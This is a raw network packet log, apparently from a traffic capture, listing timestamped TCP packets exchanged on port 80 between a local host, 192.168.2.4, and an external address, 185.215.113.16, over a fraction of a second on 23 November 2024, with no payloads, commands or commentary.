Nov 23, 2024 20:23:36.916362047 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.916440010 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.917319059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.917423964 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.918380022 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.918497086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.918498039 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.918565989 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.918716908 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.918863058 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.918922901 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.919447899 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.919565916 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.919881105 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.920502901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.920625925 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.920792103 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.926188946 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.926263094 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.926657915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.926757097 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.927756071 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.927834988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.928788900 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.928970098 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.929841042 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.929934025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.930913925 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.931054115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.931905985 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.931973934 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.932096004 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.932337046 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.932890892 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.932935953 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.933005095 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.933059931 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.933901072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.933999062 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.934003115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.934062004 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.934942007 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.934989929 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.935077906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.935118914 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.935930967 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.935972929 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.936064005 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.936110973 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.936973095 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.937143087 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.937998056 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.938170910 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.938534975 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.939258099 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.939308882 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.939338923 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.939380884 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.940113068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.940151930 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.940210104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.940264940 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.941109896 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.941150904 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.941266060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.941309929 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.942090988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.942109108 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.942132950 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.942166090 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.943095922 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.943166971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.943171024 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.943202019 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.944132090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.944214106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.945056915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.945168018 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.946064949 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.946206093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.947084904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.947187901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.947588921 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.947762966 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.948048115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.948165894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.948342085 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.949009895 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.949079037 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.949140072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.949182987 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.950100899 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.950143099 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.950181961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.950225115 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.951558113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.951575994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.951956034 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.952142000 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.952940941 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.953037977 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.953927994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.954125881 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.954910994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.955024958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.955471039 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.955483913 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.955897093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.955945015 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.955971003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.956017971 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.956834078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.956882000 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.956943989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.956993103 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.957801104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.957849026 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.957906961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.957952976 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.958749056 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.958848953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.958899021 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.959722042 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.959768057 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.959773064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.959814072 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.960645914 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.960689068 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.960755110 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.960802078 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.961612940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.961662054 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.961690903 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.961736917 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.962542057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.962631941 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.962635040 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.962680101 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.963485956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.963576078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.963938951 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.964477062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.964524984 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.964535952 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.964605093 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.969058037 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.969105005 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.969161034 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.969211102 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.969538927 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.969657898 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.969733000 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.970468044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.970485926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.970510006 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.970532894 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.971411943 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.971455097 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.971488953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.971532106 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.972255945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.972384930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.973146915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.973253012 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.973995924 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.974108934 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.974909067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.975009918 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.975684881 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.975764990 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.979942083 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.980479956 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.984239101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.984252930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.984289885 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.984312057 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.984338045 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.984383106 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.984417915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.984457970 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.985208035 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.985249043 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.985327959 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.985455990 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.986052036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.986094952 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.986159086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.986201048 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.986927032 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.986965895 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.986970901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.987010956 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.987842083 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.987888098 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.987893105 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.988604069 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.988709927 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.989444971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.989542007 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.989937067 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.990233898 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.990333080 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.990344048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.990566015 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.991051912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.991157055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.991177082 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.991261005 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.992630005 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.992674112 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.992732048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.992772102 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.992985010 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.993026972 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.993067026 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.993109941 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.993765116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.993807077 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.993874073 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.993917942 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.994554996 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.994638920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.000128984 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.000654936 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.000760078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.000768900 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.000811100 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.001020908 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.001138926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.001149893 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.001784086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.001867056 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.002130032 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.002542019 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.002605915 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.002650023 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.002691984 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.003230095 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.003271103 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.003348112 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.003390074 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.003943920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.003982067 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.004054070 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.004096031 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.004659891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.004739046 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.004764080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.005373001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.005462885 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.010092974 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.021392107 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.021490097 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.021663904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.021753073 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.022206068 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.022402048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.022445917 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.022689104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.022730112 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.022794008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.022840977 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.023376942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.023417950 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.023494005 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.023535013 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.024101973 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.024142027 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.024173975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.024219990 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.027574062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.027657032 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.027930021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.028004885 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.028655052 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.028765917 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.030235052 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.042747021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.042794943 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.042856932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.042900085 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.043123960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.043164968 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.043190002 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.043268919 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.043777943 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.043818951 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.043843985 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.043880939 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.044466972 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.044507980 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.044533968 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.044579029 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.045145035 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.045268059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.045846939 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.045953989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.046545029 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.046662092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.047153950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.047210932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.047226906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.048082113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.048099995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.048115969 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.048975945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.048999071 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.049015999 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.049890041 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.049952984 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.049968958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.050354958 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.050456047 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.050465107 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.098922014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.098963976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.098978043 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.099037886 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.099082947 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.231544018 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.231571913 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.231586933 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.231595993 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.231683969 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.231779099 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.231843948 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.231847048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.231862068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.231921911 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.232677937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.232736111 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.232749939 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.233560085 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.233586073 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.233629942 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.233655930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.233670950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.233696938 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.233711004 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.234482050 CET	80	49827	185.215.113.16	192.168.2.4
